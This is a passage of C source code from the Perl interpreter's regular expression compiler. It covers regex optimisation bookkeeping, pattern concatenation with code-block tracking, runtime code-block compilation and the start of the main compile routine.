& SCF_SEEN_ACCEPT) { if ( stopmin > min + min1) stopmin = min + min1; flags &= ~SCF_DO_SUBSTR; if (data) data->flags |= SCF_SEEN_ACCEPT; } if (data) { if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; } if (flags & SCF_DO_STCLASS) ssc_or(pRExC_state, &accum, (regnode_charclass *) &this_class); } } if (flags & SCF_DO_SUBSTR) { data->pos_min += min1; data->pos_delta += max1 - min1; if (max1 != min1 || is_inf) data->cur_is_floating = 1; /* float */ } min += min1; if (delta != SSize_t_MAX) { if (SSize_t_MAX - (max1 - min1) >= delta) delta += max1 - min1; else delta = SSize_t_MAX; } if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass *) &accum); if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); flags &= ~SCF_DO_STCLASS; } } else if (flags & SCF_DO_STCLASS_AND) { if (min1) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &accum); flags &= ~SCF_DO_STCLASS; } else { /* Switch to OR mode: cache the old value of * data->start_class */ INIT_AND_WITHP; StructCopy(data->start_class, and_withp, regnode_ssc); flags &= ~SCF_DO_STCLASS_AND; StructCopy(&accum, data->start_class, regnode_ssc); flags |= SCF_DO_STCLASS_OR; } } scan= tail; continue; } #else else if (PL_regkind[OP(scan)] == TRIE) { reg_trie_data *trie = (reg_trie_data*)RExC_rxi->data->data[ ARG(scan) ]; U8*bang=NULL; min += trie->minlen; delta += (trie->maxlen - trie->minlen); flags &= ~SCF_DO_STCLASS; /* xxx */ if (flags & SCF_DO_SUBSTR) { /* Cannot expect anything... */ scan_commit(pRExC_state, data, minlenp, is_inf); data->pos_min += trie->minlen; data->pos_delta += (trie->maxlen - trie->minlen); if (trie->maxlen != trie->minlen) data->cur_is_floating = 1; /* float */ } if (trie->jump) /* no more substrings -- for now /grr*/ flags &= ~SCF_DO_SUBSTR; } #endif /* old or new */ #endif /* TRIE_STUDY_OPT */ /* Else: zero-length, ignore. */ scan = regnext(scan); } finish: if (frame) { /* we need to unwind recursion. */ depth = depth - 1; DEBUG_STUDYDATA("frame-end", data, depth, is_inf); DEBUG_PEEP("fend", scan, depth, flags); /* restore previous context */ last = frame->last_regnode; scan = frame->next_regnode; stopparen = frame->stopparen; recursed_depth = frame->prev_recursed_depth; RExC_frame_last = frame->prev_frame; frame = frame->this_prev_frame; goto fake_study_recurse; } assert(!frame); DEBUG_STUDYDATA("pre-fin", data, depth, is_inf); *scanp = scan; *deltap = is_inf_internal ? SSize_t_MAX : delta; if (flags & SCF_DO_SUBSTR && is_inf) data->pos_delta = SSize_t_MAX - data->pos_min; if (is_par > (I32)U8_MAX) is_par = 0; if (is_par && pars==1 && data) { data->flags |= SF_IN_PAR; data->flags &= ~SF_HAS_PAR; } else if (pars && data) { data->flags |= SF_HAS_PAR; data->flags &= ~SF_IN_PAR; } if (flags & SCF_DO_STCLASS_OR) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); if (flags & SCF_TRIE_RESTUDY) data->flags |= SCF_TRIE_RESTUDY; DEBUG_STUDYDATA("post-fin", data, depth, is_inf); { SSize_t final_minlen= min < stopmin ? min : stopmin; if (!(RExC_seen & REG_UNBOUNDED_QUANTIFIER_SEEN)) { if (final_minlen > SSize_t_MAX - delta) RExC_maxlen = SSize_t_MAX; else if (RExC_maxlen < final_minlen + delta) RExC_maxlen = final_minlen + delta; } return final_minlen; } NOT_REACHED; /* NOTREACHED */ } STATIC U32 S_add_data(RExC_state_t* const pRExC_state, const char* const s, const U32 n) { U32 count = RExC_rxi->data ? RExC_rxi->data->count : 0; PERL_ARGS_ASSERT_ADD_DATA; Renewc(RExC_rxi->data, sizeof(*RExC_rxi->data) + sizeof(void*) * (count + n - 1), char, struct reg_data); if(count) Renew(RExC_rxi->data->what, count + n, U8); else Newx(RExC_rxi->data->what, n, U8); RExC_rxi->data->count = count + n; Copy(s, RExC_rxi->data->what + count, n, U8); return count; } /*XXX: todo make this not included in a non debugging perl, but appears to be * used anyway there, in 'use re' */ #ifndef PERL_IN_XSUB_RE void Perl_reginitcolors(pTHX) { const char * const s = PerlEnv_getenv("PERL_RE_COLORS"); if (s) { char *t = savepv(s); int i = 0; PL_colors[0] = t; while (++i < 6) { t = strchr(t, '\t'); if (t) { *t = '\0'; PL_colors[i] = ++t; } else PL_colors[i] = t = (char *)""; } } else { int i = 0; while (i < 6) PL_colors[i++] = (char *)""; } PL_colorset = 1; } #endif #ifdef TRIE_STUDY_OPT #define CHECK_RESTUDY_GOTO_butfirst(dOsomething) \ STMT_START { \ if ( \ (data.flags & SCF_TRIE_RESTUDY) \ && ! restudied++ \ ) { \ dOsomething; \ goto reStudy; \ } \ } STMT_END #else #define CHECK_RESTUDY_GOTO_butfirst #endif /* * pregcomp - compile a regular expression into internal code * * Decides which engine's compiler to call based on the hint currently in * scope */ #ifndef PERL_IN_XSUB_RE /* return the currently in-scope regex engine (or the default if none) */ regexp_engine const * Perl_current_re_engine(pTHX) { if (IN_PERL_COMPILETIME) { HV * const table = GvHV(PL_hintgv); SV **ptr; if (!table || !(PL_hints & HINT_LOCALIZE_HH)) return &PL_core_reg_engine; ptr = hv_fetchs(table, "regcomp", FALSE); if ( !(ptr && SvIOK(*ptr) && SvIV(*ptr))) return &PL_core_reg_engine; return INT2PTR(regexp_engine*, SvIV(*ptr)); } else { SV *ptr; if (!PL_curcop->cop_hints_hash) return &PL_core_reg_engine; ptr = cop_hints_fetch_pvs(PL_curcop, "regcomp", 0); if ( !(ptr && SvIOK(ptr) && SvIV(ptr))) return &PL_core_reg_engine; return INT2PTR(regexp_engine*, SvIV(ptr)); } } REGEXP * Perl_pregcomp(pTHX_ SV * const pattern, const U32 flags) { regexp_engine const *eng = current_re_engine(); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_PREGCOMP; /* Dispatch a request to compile a regexp to correct regexp engine. */ DEBUG_COMPILE_r({ Perl_re_printf( aTHX_ "Using engine %" UVxf "\n", PTR2UV(eng)); }); return CALLREGCOMP_ENG(eng, pattern, flags); } #endif /* public(ish) entry point for the perl core's own regex compiling code. * It's actually a wrapper for Perl_re_op_compile that only takes an SV * pattern rather than a list of OPs, and uses the internal engine rather * than the current one */ REGEXP * Perl_re_compile(pTHX_ SV * const pattern, U32 rx_flags) { SV *pat = pattern; /* defeat constness! */ PERL_ARGS_ASSERT_RE_COMPILE; return Perl_re_op_compile(aTHX_ &pat, 1, NULL, #ifdef PERL_IN_XSUB_RE &my_reg_engine, #else &PL_core_reg_engine, #endif NULL, NULL, rx_flags, 0); } static void S_free_codeblocks(pTHX_ struct reg_code_blocks *cbs) { int n; if (--cbs->refcnt > 0) return; for (n = 0; n < cbs->count; n++) { REGEXP *rx = cbs->cb[n].src_regex; if (rx) { cbs->cb[n].src_regex = NULL; SvREFCNT_dec_NN(rx); } } Safefree(cbs->cb); Safefree(cbs); } static struct reg_code_blocks * S_alloc_code_blocks(pTHX_ int ncode) { struct reg_code_blocks *cbs; Newx(cbs, 1, struct reg_code_blocks); cbs->count = ncode; cbs->refcnt = 1; SAVEDESTRUCTOR_X(S_free_codeblocks, cbs); if (ncode) Newx(cbs->cb, ncode, struct reg_code_block); else cbs->cb = NULL; return cbs; } /* upgrade pattern pat_p of length plen_p to UTF8, and if there are code * blocks, recalculate the indices. Update pat_p and plen_p in-place to * point to the realloced string and length. * * This is essentially a copy of Perl_bytes_to_utf8() with the code index * stuff added */ static void S_pat_upgrade_to_utf8(pTHX_ RExC_state_t * const pRExC_state, char **pat_p, STRLEN *plen_p, int num_code_blocks) { U8 *const src = (U8*)*pat_p; U8 *dst, *d; int n=0; STRLEN s = 0; bool do_end = 0; GET_RE_DEBUG_FLAGS_DECL; DEBUG_PARSE_r(Perl_re_printf( aTHX_ "UTF8 mismatch! Converting to utf8 for resizing and compile\n")); /* 1 for each byte + 1 for each byte that expands to two, + trailing NUL */ Newx(dst, *plen_p + variant_under_utf8_count(src, src + *plen_p) + 1, U8); d = dst; while (s < *plen_p) { append_utf8_from_native_byte(src[s], &d); if (n < num_code_blocks) { assert(pRExC_state->code_blocks); if (!do_end && pRExC_state->code_blocks->cb[n].start == s) { pRExC_state->code_blocks->cb[n].start = d - dst - 1; assert(*(d - 1) == '('); do_end = 1; } else if (do_end && pRExC_state->code_blocks->cb[n].end == s) { pRExC_state->code_blocks->cb[n].end = d - dst - 1; assert(*(d - 1) == ')'); do_end = 0; n++; } } s++; } *d = '\0'; *plen_p = d - dst; *pat_p = (char*) dst; SAVEFREEPV(*pat_p); RExC_orig_utf8 = RExC_utf8 = 1; } /* S_concat_pat(): concatenate a list of args to the pattern string pat, * while recording any code block indices, and handling overloading, * nested qr// objects etc. If pat is null, it will allocate a new * string, or just return the first arg, if there's only one. * * Returns the malloced/updated pat. * patternp and pat_count is the array of SVs to be concatted; * oplist is the optional list of ops that generated the SVs; * recompile_p is a pointer to a boolean that will be set if * the regex will need to be recompiled. * delim, if non-null is an SV that will be inserted between each element */ static SV* S_concat_pat(pTHX_ RExC_state_t * const pRExC_state, SV *pat, SV ** const patternp, int pat_count, OP *oplist, bool *recompile_p, SV *delim) { SV **svp; int n = 0; bool use_delim = FALSE; bool alloced = FALSE; /* if we know we have at least two args, create an empty string, * then concatenate args to that. For no args, return an empty string */ if (!pat && pat_count != 1) { pat = newSVpvs(""); SAVEFREESV(pat); alloced = TRUE; } for (svp = patternp; svp < patternp + pat_count; svp++) { SV *sv; SV *rx = NULL; STRLEN orig_patlen = 0; bool code = 0; SV *msv = use_delim ? delim : *svp; if (!msv) msv = &PL_sv_undef; /* if we've got a delimiter, we go round the loop twice for each * svp slot (except the last), using the delimiter the second * time round */ if (use_delim) { svp--; use_delim = FALSE; } else if (delim) use_delim = TRUE; if (SvTYPE(msv) == SVt_PVAV) { /* we've encountered an interpolated array within * the pattern, e.g. /...@a..../. Expand the list of elements, * then recursively append elements. * The code in this block is based on S_pushav() */ AV *const av = (AV*)msv; const SSize_t maxarg = AvFILL(av) + 1; SV **array; if (oplist) { assert(oplist->op_type == OP_PADAV || oplist->op_type == OP_RV2AV); oplist = OpSIBLING(oplist); } if (SvRMAGICAL(av)) { SSize_t i; Newx(array, maxarg, SV*); SAVEFREEPV(array); for (i=0; i < maxarg; i++) { SV ** const svp = av_fetch(av, i, FALSE); array[i] = svp ? *svp : &PL_sv_undef; } } else array = AvARRAY(av); pat = S_concat_pat(aTHX_ pRExC_state, pat, array, maxarg, NULL, recompile_p, /* $" */ GvSV((gv_fetchpvs("\"", GV_ADDMULTI, SVt_PV)))); continue; } /* we make the assumption here that each op in the list of * op_siblings maps to one SV pushed onto the stack, * except for code blocks, with have both an OP_NULL and * and OP_CONST. * This allows us to match up the list of SVs against the * list of OPs to find the next code block. * * Note that PUSHMARK PADSV PADSV .. * is optimised to * PADRANGE PADSV PADSV .. * so the alignment still works. */ if (oplist) { if (oplist->op_type == OP_NULL && (oplist->op_flags & OPf_SPECIAL)) { assert(n < pRExC_state->code_blocks->count); pRExC_state->code_blocks->cb[n].start = pat ? SvCUR(pat) : 0; pRExC_state->code_blocks->cb[n].block = oplist; pRExC_state->code_blocks->cb[n].src_regex = NULL; n++; code = 1; oplist = OpSIBLING(oplist); /* skip CONST */ assert(oplist); } oplist = OpSIBLING(oplist);; } /* apply magic and QR overloading to arg */ SvGETMAGIC(msv); if (SvROK(msv) && SvAMAGIC(msv)) { SV *sv = AMG_CALLunary(msv, regexp_amg); if (sv) { if (SvROK(sv)) sv = SvRV(sv); if (SvTYPE(sv) != SVt_REGEXP) Perl_croak(aTHX_ "Overloaded qr did not return a REGEXP"); msv = sv; } } /* try concatenation overload ... */ if (pat && (SvAMAGIC(pat) || SvAMAGIC(msv)) && (sv = amagic_call(pat, msv, concat_amg, AMGf_assign))) { sv_setsv(pat, sv); /* overloading involved: all bets are off over literal * code. Pretend we haven't seen it */ if (n) pRExC_state->code_blocks->count -= n; n = 0; } else { /* ... or failing that, try "" overload */ while (SvAMAGIC(msv) && (sv = AMG_CALLunary(msv, string_amg)) && sv != msv && !( SvROK(msv) && SvROK(sv) && SvRV(msv) == SvRV(sv)) ) { msv = sv; SvGETMAGIC(msv); } if (SvROK(msv) && SvTYPE(SvRV(msv)) == SVt_REGEXP) msv = SvRV(msv); if (pat) { /* this is a partially unrolled * sv_catsv_nomg(pat, msv); * that allows us to adjust code block indices if * needed */ STRLEN dlen; char *dst = SvPV_force_nomg(pat, dlen); orig_patlen = dlen; if (SvUTF8(msv) && !SvUTF8(pat)) { S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &dst, &dlen, n); sv_setpvn(pat, dst, dlen); SvUTF8_on(pat); } sv_catsv_nomg(pat, msv); rx = msv; } else { /* We have only one SV to process, but we need to verify * it is properly null terminated or we will fail asserts * later. In theory we probably shouldn't get such SV's, * but if we do we should handle it gracefully. */ if ( SvTYPE(msv) != SVt_PV || (SvLEN(msv) > SvCUR(msv) && *(SvEND(msv)) == 0) || SvIsCOW_shared_hash(msv) ) { /* not a string, or a string with a trailing null */ pat = msv; } else { /* a string with no trailing null, we need to copy it * so it has a trailing null */ pat = sv_2mortal(newSVsv(msv)); } } if (code) pRExC_state->code_blocks->cb[n-1].end = SvCUR(pat)-1; } /* extract any code blocks within any embedded qr//'s */ if (rx && SvTYPE(rx) == SVt_REGEXP && RX_ENGINE((REGEXP*)rx)->op_comp) { RXi_GET_DECL(ReANY((REGEXP *)rx), ri); if (ri->code_blocks && ri->code_blocks->count) { int i; /* the presence of an embedded qr// with code means * we should always recompile: the text of the * qr// may not have changed, but it may be a * different closure than last time */ *recompile_p = 1; if (pRExC_state->code_blocks) { int new_count = pRExC_state->code_blocks->count + ri->code_blocks->count; Renew(pRExC_state->code_blocks->cb, new_count, struct reg_code_block); pRExC_state->code_blocks->count = new_count; } else pRExC_state->code_blocks = S_alloc_code_blocks(aTHX_ ri->code_blocks->count); for (i=0; i < ri->code_blocks->count; i++) { struct reg_code_block *src, *dst; STRLEN offset = orig_patlen + ReANY((REGEXP *)rx)->pre_prefix; assert(n < pRExC_state->code_blocks->count); src = &ri->code_blocks->cb[i]; dst = &pRExC_state->code_blocks->cb[n]; dst->start = src->start + offset; dst->end = src->end + offset; dst->block = src->block; dst->src_regex = (REGEXP*) SvREFCNT_inc( (SV*) src->src_regex ? src->src_regex : (REGEXP*)rx); n++; } } } } /* avoid calling magic multiple times on a single element e.g. =~ $qr */ if (alloced) SvSETMAGIC(pat); return pat; } /* see if there are any run-time code blocks in the pattern. * False positives are allowed */ static bool S_has_runtime_code(pTHX_ RExC_state_t * const pRExC_state, char *pat, STRLEN plen) { int n = 0; STRLEN s; PERL_UNUSED_CONTEXT; for (s = 0; s < plen; s++) { if ( pRExC_state->code_blocks && n < pRExC_state->code_blocks->count && s == pRExC_state->code_blocks->cb[n].start) { s = pRExC_state->code_blocks->cb[n].end; n++; continue; } /* TODO ideally should handle [..], (#..), /#.../x to reduce false * positives here */ if (pat[s] == '(' && s+2 <= plen && pat[s+1] == '?' && (pat[s+2] == '{' || (s + 2 <= plen && pat[s+2] == '?' && pat[s+3] == '{')) ) return 1; } return 0; } /* Handle run-time code blocks. We will already have compiled any direct * or indirect literal code blocks. Now, take the pattern 'pat' and make a * copy of it, but with any literal code blocks blanked out and * appropriate chars escaped; then feed it into * * eval "qr'modified_pattern'" * * For example, * * a\bc(?{"this was literal"})def'ghi\\jkl(?{"this is runtime"})mno * * becomes * * qr'a\\bc_______________________def\'ghi\\\\jkl(?{"this is runtime"})mno' * * After eval_sv()-ing that, grab any new code blocks from the returned qr * and merge them with any code blocks of the original regexp. * * If the pat is non-UTF8, while the evalled qr is UTF8, don't merge; * instead, just save the qr and return FALSE; this tells our caller that * the original pattern needs upgrading to utf8. */ static bool S_compile_runtime_code(pTHX_ RExC_state_t * const pRExC_state, char *pat, STRLEN plen) { SV *qr; GET_RE_DEBUG_FLAGS_DECL; if (pRExC_state->runtime_code_qr) { /* this is the second time we've been called; this should * only happen if the main pattern got upgraded to utf8 * during compilation; re-use the qr we compiled first time * round (which should be utf8 too) */ qr = pRExC_state->runtime_code_qr; pRExC_state->runtime_code_qr = NULL; assert(RExC_utf8 && SvUTF8(qr)); } else { int n = 0; STRLEN s; char *p, *newpat; int newlen = plen + 7; /* allow for "qr''xx\0" extra chars */ SV *sv, *qr_ref; dSP; /* determine how many extra chars we need for ' and \ escaping */ for (s = 0; s < plen; s++) { if (pat[s] == '\'' || pat[s] == '\\') newlen++; } Newx(newpat, newlen, char); p = newpat; *p++ = 'q'; *p++ = 'r'; *p++ = '\''; for (s = 0; s < plen; s++) { if ( pRExC_state->code_blocks && n < pRExC_state->code_blocks->count && s == pRExC_state->code_blocks->cb[n].start) { /* blank out literal code block so that they aren't * recompiled: eg change from/to: * /(?{xyz})/ * /(?=====)/ * and * /(??{xyz})/ * /(?======)/ * and * /(?(?{xyz}))/ * /(?(?=====))/ */ assert(pat[s] == '('); assert(pat[s+1] == '?'); *p++ = '('; *p++ = '?'; s += 2; while (s < pRExC_state->code_blocks->cb[n].end) { *p++ = '='; s++; } *p++ = ')'; n++; continue; } if (pat[s] == '\'' || pat[s] == '\\') *p++ = '\\'; *p++ = pat[s]; } *p++ = '\''; if (pRExC_state->pm_flags & RXf_PMf_EXTENDED) { *p++ = 'x'; if (pRExC_state->pm_flags & RXf_PMf_EXTENDED_MORE) { *p++ = 'x'; } } *p++ = '\0'; DEBUG_COMPILE_r({ Perl_re_printf( aTHX_ "%sre-parsing pattern for runtime code:%s %s\n", PL_colors[4], PL_colors[5], newpat); }); sv = newSVpvn_flags(newpat, p-newpat-1, RExC_utf8 ? SVf_UTF8 : 0); Safefree(newpat); ENTER; SAVETMPS; save_re_context(); PUSHSTACKi(PERLSI_REQUIRE); /* G_RE_REPARSING causes the toker to collapse \\ into \ when * parsing qr''; normally only q'' does this. It also alters * hints handling */ eval_sv(sv, G_SCALAR|G_RE_REPARSING); SvREFCNT_dec_NN(sv); SPAGAIN; qr_ref = POPs; PUTBACK; { SV * const errsv = ERRSV; if (SvTRUE_NN(errsv)) /* use croak_sv ? */ Perl_croak_nocontext("%" SVf, SVfARG(errsv)); } assert(SvROK(qr_ref)); qr = SvRV(qr_ref); assert(SvTYPE(qr) == SVt_REGEXP && RX_ENGINE((REGEXP*)qr)->op_comp); /* the leaving below frees the tmp qr_ref. * Give qr a life of its own */ SvREFCNT_inc(qr); POPSTACK; FREETMPS; LEAVE; } if (!RExC_utf8 && SvUTF8(qr)) { /* first time through; the pattern got upgraded; save the * qr for the next time through */ assert(!pRExC_state->runtime_code_qr); pRExC_state->runtime_code_qr = qr; return 0; } /* extract any code blocks within the returned qr// */ /* merge the main (r1) and run-time (r2) code blocks into one */ { RXi_GET_DECL(ReANY((REGEXP *)qr), r2); struct reg_code_block *new_block, *dst; RExC_state_t * const r1 = pRExC_state; /* convenient alias */ int i1 = 0, i2 = 0; int r1c, r2c; if (!r2->code_blocks || !r2->code_blocks->count) /* we guessed wrong */ { SvREFCNT_dec_NN(qr); return 1; } if (!r1->code_blocks) r1->code_blocks = S_alloc_code_blocks(aTHX_ 0); r1c = r1->code_blocks->count; r2c = r2->code_blocks->count; Newx(new_block, r1c + r2c, struct reg_code_block); dst = new_block; while (i1 < r1c || i2 < r2c) { struct reg_code_block *src; bool is_qr = 0; if (i1 == r1c) { src = &r2->code_blocks->cb[i2++]; is_qr = 1; } else if (i2 == r2c) src = &r1->code_blocks->cb[i1++]; else if ( r1->code_blocks->cb[i1].start < r2->code_blocks->cb[i2].start) { src = &r1->code_blocks->cb[i1++]; assert(src->end < r2->code_blocks->cb[i2].start); } else { assert( r1->code_blocks->cb[i1].start > r2->code_blocks->cb[i2].start); src = &r2->code_blocks->cb[i2++]; is_qr = 1; assert(src->end < r1->code_blocks->cb[i1].start); } assert(pat[src->start] == '('); assert(pat[src->end] == ')'); dst->start = src->start; dst->end = src->end; dst->block = src->block; dst->src_regex = is_qr ? (REGEXP*) SvREFCNT_inc( (SV*) qr) : src->src_regex; dst++; } r1->code_blocks->count += r2c; Safefree(r1->code_blocks->cb); r1->code_blocks->cb = new_block; } SvREFCNT_dec_NN(qr); return 1; } STATIC bool S_setup_longest(pTHX_ RExC_state_t *pRExC_state, struct reg_substr_datum *rsd, struct scan_data_substrs *sub, STRLEN longest_length) { /* This is the common code for setting up the floating and fixed length * string data extracted from Perl_re_op_compile() below. Returns a boolean * as to whether succeeded or not */ I32 t; SSize_t ml; bool eol = cBOOL(sub->flags & SF_BEFORE_EOL); bool meol = cBOOL(sub->flags & SF_BEFORE_MEOL); if (! (longest_length || (eol /* Can't have SEOL and MULTI */ && (! meol || (RExC_flags & RXf_PMf_MULTILINE))) ) /* See comments for join_exact for why REG_UNFOLDED_MULTI_SEEN */ || (RExC_seen & REG_UNFOLDED_MULTI_SEEN)) { return FALSE; } /* copy the information about the longest from the reg_scan_data over to the program. */ if (SvUTF8(sub->str)) { rsd->substr = NULL; rsd->utf8_substr = sub->str; } else { rsd->substr = sub->str; rsd->utf8_substr = NULL; } /* end_shift is how many chars that must be matched that follow this item. We calculate it ahead of time as once the lookbehind offset is added in we lose the ability to correctly calculate it.*/ ml = sub->minlenp ? *(sub->minlenp) : (SSize_t)longest_length; rsd->end_shift = ml - sub->min_offset - longest_length /* XXX SvTAIL is always false here - did you mean FBMcf_TAIL * intead? - DAPM + (SvTAIL(sub->str) != 0) */ + sub->lookbehind; t = (eol/* Can't have SEOL and MULTI */ && (! meol || (RExC_flags & RXf_PMf_MULTILINE))); fbm_compile(sub->str, t ? FBMcf_TAIL : 0); return TRUE; } STATIC void S_set_regex_pv(pTHX_ RExC_state_t *pRExC_state, REGEXP *Rx) { /* Calculates and sets in the compiled pattern 'Rx' the string to compile, * properly wrapped with the right modifiers */ bool has_p = ((RExC_rx->extflags & RXf_PMf_KEEPCOPY) == RXf_PMf_KEEPCOPY); bool has_charset = RExC_utf8 || (get_regex_charset(RExC_rx->extflags) != REGEX_DEPENDS_CHARSET); /* The caret is output if there are any defaults: if not all the STD * flags are set, or if no character set specifier is needed */ bool has_default = (((RExC_rx->extflags & RXf_PMf_STD_PMMOD) != RXf_PMf_STD_PMMOD) || ! has_charset); bool has_runon = ((RExC_seen & REG_RUN_ON_COMMENT_SEEN) == REG_RUN_ON_COMMENT_SEEN); U8 reganch = (U8)((RExC_rx->extflags & RXf_PMf_STD_PMMOD) >> RXf_PMf_STD_PMMOD_SHIFT); const char *fptr = STD_PAT_MODS; /*"msixxn"*/ char *p; STRLEN pat_len = RExC_precomp_end - RExC_precomp; /* We output all the necessary flags; we never output a minus, as all * those are defaults, so are * covered by the caret */ const STRLEN wraplen = pat_len + has_p + has_runon + has_default /* If needs a caret */ + PL_bitcount[reganch] /* 1 char for each set standard flag */ /* If needs a character set specifier */ + ((has_charset) ? MAX_CHARSET_NAME_LENGTH : 0) + (sizeof("(?:)") - 1); PERL_ARGS_ASSERT_SET_REGEX_PV; /* make sure PL_bitcount bounds not exceeded */ assert(sizeof(STD_PAT_MODS) <= 8); p = sv_grow(MUTABLE_SV(Rx), wraplen + 1); /* +1 for the ending NUL */ SvPOK_on(Rx); if (RExC_utf8) SvFLAGS(Rx) |= SVf_UTF8; *p++='('; *p++='?'; /* If a default, cover it using the caret */ if (has_default) { *p++= DEFAULT_PAT_MOD; } if (has_charset) { STRLEN len; const char* name; name = get_regex_charset_name(RExC_rx->extflags, &len); if strEQ(name, DEPENDS_PAT_MODS) { /* /d under UTF-8 => /u */ assert(RExC_utf8); name = UNICODE_PAT_MODS; len = sizeof(UNICODE_PAT_MODS) - 1; } Copy(name, p, len, char); p += len; } if (has_p) *p++ = KEEPCOPY_PAT_MOD; /*'p'*/ { char ch; while((ch = *fptr++)) { if(reganch & 1) *p++ = ch; reganch >>= 1; } } *p++ = ':'; Copy(RExC_precomp, p, pat_len, char); assert ((RX_WRAPPED(Rx) - p) < 16); RExC_rx->pre_prefix = p - RX_WRAPPED(Rx); p += pat_len; /* Adding a trailing \n causes this to compile properly: my $R = qr / A B C # D E/x; /($R)/ Otherwise the parens are considered part of the comment */ if (has_runon) *p++ = '\n'; *p++ = ')'; *p = 0; SvCUR_set(Rx, p - RX_WRAPPED(Rx)); } /* * Perl_re_op_compile - the perl internal RE engine's function to compile a * regular expression into internal code. * The pattern may be passed either as: * a list of SVs (patternp plus pat_count) * a list of OPs (expr) * If both are passed, the SV list is used, but the OP list indicates * which SVs are actually pre-compiled code blocks * * The SVs in the list have magic and qr overloading applied to them (and * the list may be modified in-place with replacement SVs in the latter * case). * * If the pattern hasn't changed from old_re, then old_re will be * returned. * * eng is the current engine. If that engine has an op_comp method, then * handle directly (i.e. we assume that op_comp was us); otherwise, just * do the initial concatenation of arguments and pass on to the external * engine. * * If is_bare_re is not null, set it to a boolean indicating whether the * arg list reduced (after overloading) to a single bare regex which has * been returned (i.e. /$qr/). * * orig_rx_flags contains RXf_* flags. See perlreapi.pod for more details. * * pm_flags contains the PMf_* flags, typically based on those from the * pm_flags field of the related PMOP. Currently we're only interested in * PMf_HAS_CV, PMf_IS_QR, PMf_USE_RE_EVAL. * * For many years this code had an initial sizing pass that calculated * (sometimes incorrectly, leading to security holes) the size needed for the * compiled pattern. That was changed by commit * 7c932d07cab18751bfc7515b4320436273a459e2 in 5.29, which reallocs the size, a * node at a time, as parsing goes along. Patches welcome to fix any obsolete * references to this sizing pass. * * Now, an initial crude guess as to the size needed is made, based on the * length of the pattern. Patches welcome to improve that guess. That amount * of space is malloc'd and then immediately freed, and then clawed back node * by node. This design is to minimze, to the extent possible, memory churn * when doing the the reallocs. * * A separate parentheses counting pass may be needed in some cases. * (Previously the sizing pass did this.) Patches welcome to reduce the number * of these cases. * * The existence of a sizing pass necessitated design decisions that are no * longer needed. There are potential areas of simplification. * * Beware that the optimization-preparation code in here knows about some * of the structure of the compiled regexp. [I'll say.] */ REGEXP * Perl_re_op_compile(pTHX_ SV ** const patternp, int pat_count, OP *expr, const regexp_engine* eng, REGEXP *old_re, bool *is_bare_re, const U32 orig_rx_flags, const U32 pm_flags) { dVAR; REGEXP *Rx; /* Capital 'R' means points to a REGEXP */ STRLEN plen; char *exp; regnode *scan; I32 flags; SSize_t minlen = 0; U32 rx_flags; SV *pat; SV** new_patternp = patternp; /* these are all flags - maybe they should be turned * into a single int with different bit masks */ I32 sawlookahead = 0; I32 sawplus = 0; I32 sawopen = 0; I32 sawminmod = 0; regex_charset initial_charset = get_regex_charset(orig_rx_flags); bool recompile = 0; bool runtime_code = 0; scan_data_t data; RExC_state_t RExC_state; RExC_state_t * const pRExC_state = &RExC_state; #ifdef TRIE_STUDY_OPT int restudied = 0; RExC_state_t copyRExC_state; #endif GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_RE_OP_COMPILE; DEBUG_r(if (!PL_colorset) reginitcolors()); /* Initialize these here instead of as-needed, as is quick and avoids * having to test them each time otherwise */ if (! PL_InBitmap) { #ifdef DEBUGGING char * dump_len_string; #endif /* This is calculated here, because the Perl program that generates the * static global ones doesn't currently have access to * NUM_ANYOF_CODE_POINTS */ PL_InBitmap = _new_invlist(2); PL_InBitmap = _add_range_to_invlist(PL_InBitmap, 0, NUM_ANYOF_CODE_POINTS - 1); #ifdef DEBUGGING dump_len_string = PerlEnv_getenv("PERL_DUMP_RE_MAX_LEN"); if ( ! dump_len_string || ! grok_atoUV(dump_len_string, (UV *)&PL_dump_re_max_len, NULL)) { PL_dump_re_max_len = 60; /* A reasonable default */ } #endif } pRExC_state->warn_text = NULL; pRExC_state->unlexed_names = NULL; pRExC_state->code_blocks = NULL; if (is_bare_re) *is_bare_re = FALSE; if (expr && (expr->op_type == OP_LIST || (expr->op_type == OP_NULL && expr->op_targ == OP_LIST))) { /* allocate code_blocks if needed */ OP *o; int ncode = 0; for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) if (o->op_type == OP_NULL && (o->op_flags & OPf_SPECIAL)) ncode++; /* count of DO blocks */ if (ncode) pRExC_state->code_blocks = S_alloc_code_blocks(aTHX_ ncode); } if (!pat_count) { /* compile-time pattern with just OP_CONSTs and DO blocks */ int n; OP *o; /* find how many CONSTs there are */ assert(expr); n = 0; if (expr->op_type == OP_CONST) n = 1; else for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) { if (o->op_type == OP_CONST) n++; } /* fake up an SV array */ assert(!new_patternp); Newx(new_patternp, n, SV*); SAVEFREEPV(new_patternp); pat_count = n; n = 0; if (expr->op_type == OP_CONST) new_patternp[n] = cSVOPx_sv(expr); else for (o = cLISTOPx(expr)->op_first; o; o = OpSIBLING(o)) { if (o->op_type == OP_CONST) new_patternp[n++] = cSVOPo_sv; } } DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Assembling pattern from %d elements%s\n", pat_count, orig_rx_flags & RXf_SPLIT ? " for split" : "")); /* set expr to the first arg op */ if (pRExC_state->code_blocks && pRExC_state->code_blocks->count && expr->op_type != OP_CONST) { expr = cLISTOPx(expr)->op_first; assert( expr->op_type == OP_PUSHMARK || (expr->op_type == OP_NULL && expr->op_targ == OP_PUSHMARK) || expr->op_type == OP_PADRANGE); expr = OpSIBLING(expr); } pat = S_concat_pat(aTHX_ pRExC_state, NULL, new_patternp, pat_count, expr, &recompile, NULL); /* handle bare (possibly after overloading) regex: foo =~ $re */ { SV *re = pat; if (SvROK(re)) re = SvRV(re); if (SvTYPE(re) == SVt_REGEXP) { if (is_bare_re) *is_bare_re = TRUE; SvREFCNT_inc(re); DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Precompiled pattern%s\n", 